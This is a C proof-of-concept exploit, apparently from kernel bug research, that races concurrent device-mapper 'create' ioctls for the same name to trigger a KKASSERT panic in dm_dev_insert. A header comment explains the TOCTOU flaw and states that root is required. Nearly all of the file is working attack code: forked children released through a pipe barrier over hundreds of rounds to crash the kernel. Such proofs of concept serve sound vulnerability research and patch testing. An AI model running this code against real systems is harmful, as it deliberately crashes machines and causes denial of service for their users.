/*
 * DF-2442 PoC -- dm_dev_insert KKASSERT panic via concurrent create race.
 *
 * Bug (sys/dev/disk/dm/dm_dev.c, dm_dev_insert, line 195):
 *
 *   172: int
 *   173: dm_dev_insert(dm_dev_t *dev)
 *   174: {
 *   ...
 *   187:     if (memcmp(dev->uuid, dummy_uuid, DM_UUID_LEN))
 *   188:         dmv = dm_dev_lookup_uuid(dev->uuid);
 *   189:
 *   190:     if ((dmv == NULL) &&
 *   191:         (_dm_dev_lookup(dev->name, NULL, dev->minor) == NULL)) {
 *   192:         TAILQ_INSERT_TAIL(&dm_dev_list, dev, next_devlist);
 *   193:         dm_dev_counter++;
 *   194:     } else {
 *   195:         KKASSERT(dmv != NULL);   <-- BUG: dmv is NULL here
 *   196:         r = EEXIST;
 *   197:     }
 *
 * When dev->uuid is zero-filled (the NORMAL case for dm devices created
 * without a uuid via the create ioctl), the uuid lookup at 187-188 is
 * SKIPPED, so dmv stays NULL. If another device with the same name was
 * inserted between the pre-check (dm_dev_create_ioctl:207 dm_dev_lookup)
 * and this point (a TOCTOU race), _dm_dev_lookup at 191 returns non-NULL,
 * we enter the else-branch with dmv==NULL, and KKASSERT(dmv != NULL) fires.
 *
 * TRIGGER: Race two or more concurrent `create` ioctls for the SAME device
 * name. Both pass the early dm_dev_lookup (not found), both proceed to
 * dm_dev_insert. The first inserts successfully; the second finds the name
 * already present and hits KKASSERT(NULL) -> kernel panic.
 *
 * This is a classic TOCTOU: the early check (dm_dev_create_ioctl line 207)
 * and the insert (dm_dev_insert) are not atomic. The dm_dev_mutex is held
 * during insert, but released between the early lookup and the insert.
 *
 * RACE STRATEGY: Fork N children, synchronize them on a pipe barrier, then
 * have all fire create() for the same name simultaneously. Run multiple
 * rounds to increase hit probability. On the unpatched kernel, the
 * KKASSERT panics; on a fixed kernel, the loser gets EEXIST cleanly.
 *
 * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator. maxx (uid 1001)
 * is NOT in operator/wheel. This PoC must run as root. There is no
 * unprivileged path (valid hard blocker for uid0). This is a root->kernel
 * DoS. KKASSERT panic has no write primitive, so no escalation chain.
 *
 * Build:  cc -O2 -o poc poc.c -lprop
 * Run:    ./poc [num_children] [num_rounds]   (as root, after `kldload dm`)
 *         defaults: 8 children, 200 rounds
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df2442race"

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
	return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
	prop_dictionary_t dict;
	prop_array_t ver;

	dict = prop_dictionary_create();
	ver = prop_array_create();
	prop_array_add_uint32(ver, 4);
	prop_array_add_uint32(ver, 0);
	prop_array_add_uint32(ver, 0);
	prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
	prop_object_release(ver);
	prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
	prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
	return dict;
}

static int
do_create(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("create");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

static int
do_remove(const char *name)
{
	prop_dictionary_t dict = new_dm_dict("remove");
	prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, name);
	int rv = send_ioctl(dict);
	prop_object_release(dict);
	return rv;
}

/*
 * Barrier: all children read 1 byte from pipe; parent writes 1 byte per
 * child to release them simultaneously.
 */
static void
barrier_wait(int pipe_fd)
{
	char c;
	read(pipe_fd, &c, 1);
}

static void
barrier_release(int pipe_fd, int n)
{
	char c = 'G';
	int i;
	for (i = 0; i < n; i++)
		write(pipe_fd, &c, 1);
}

int
main(int argc, char **argv)
{
	int num_children = 8;
	int num_rounds = 200;
	int pipefd[2];
	int round, i, status;
	pid_t *pids;

	if (argc > 1) num_children = atoi(argv[1]);
	if (argc > 2) num_rounds = atoi(argv[2]);
	if (num_children < 2) num_children = 2;

	pids = calloc(num_children, sizeof(pid_t));

	g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
	if (g_ctlfd < 0) {
		fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV,
		    strerror(errno));
		fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
		return 1;
	}

	printf("[*] DF-2442 dm_dev_insert KKASSERT race\n");
	printf("[*] Bug: dm_dev.c:195 KKASSERT(dmv != NULL) when uuid zero + name exists\n");
	printf("[*] %d children x %d rounds, racing create('%s')\n",
	    num_children, num_rounds, DEV_NAME);
	fflush(stdout);

	if (pipe(pipefd) < 0) {
		perror("pipe");
		return 1;
	}

	for (round = 0; round < num_rounds; round++) {
		/* Clean up any leftover device from previous round. */
		(void)do_remove(DEV_NAME);
		usleep(1000);

		/* Fork children. */
		for (i = 0; i < num_children; i++) {
			pids[i] = fork();
			if (pids[i] < 0) {
				perror("fork");
				return 1;
			}
			if (pids[i] == 0) {
				/* Child: wait at barrier, then fire create. */
				close(g_ctlfd);
				g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
				barrier_wait(pipefd[0]);
				int rv = do_create(DEV_NAME);
				/* Exit code: 0 = created, 17 = EEXIST */
				_exit(rv == 0 ? 0 : (rv == EEXIST ? 17 : 1));
			}
		}

		/* Parent: release all children simultaneously. */
		usleep(500); /* let children reach barrier */
		barrier_release(pipefd[1], num_children);

		/* Wait for all children. */
		int created = 0, existed = 0, other = 0;
		for (i = 0; i < num_children; i++) {
			waitpid(pids[i], &status, 0);
			if (WIFEXITED(status)) {
				int ec = WEXITSTATUS(status);
				if (ec == 0) created++;
				else if (ec == 17) existed++;
				else other++;
			} else {
				other++;
			}
		}

		if ((round + 1) % 20 == 0 || round == 0) {
			printf("[round %3d] created=%d existed=%d other=%d\n",
			    round + 1, created, existed, other);
			fflush(stdout);
		}

		/*
		 * If the kernel is still alive after this round, continue.
		 * On the unpatched kernel, the KKASSERT fires and the guest
		 * panics -- the next round never executes (ssh drops).
		 */
	}

	printf("\n[*] All %d rounds completed without panic.\n", num_rounds);
	printf("[*] If running on the UNPATCHED kernel, the KKASSERT should\n");
	printf("[*] have fired during one of the rounds (guest panic).\n");
	printf("[*] If running on a FIXED kernel, this is expected (EEXIST\n");
	printf("[*] returned cleanly instead of KKASSERT).\n");

	(void)do_remove(DEV_NAME);
	close(g_ctlfd);
	return 0;
}
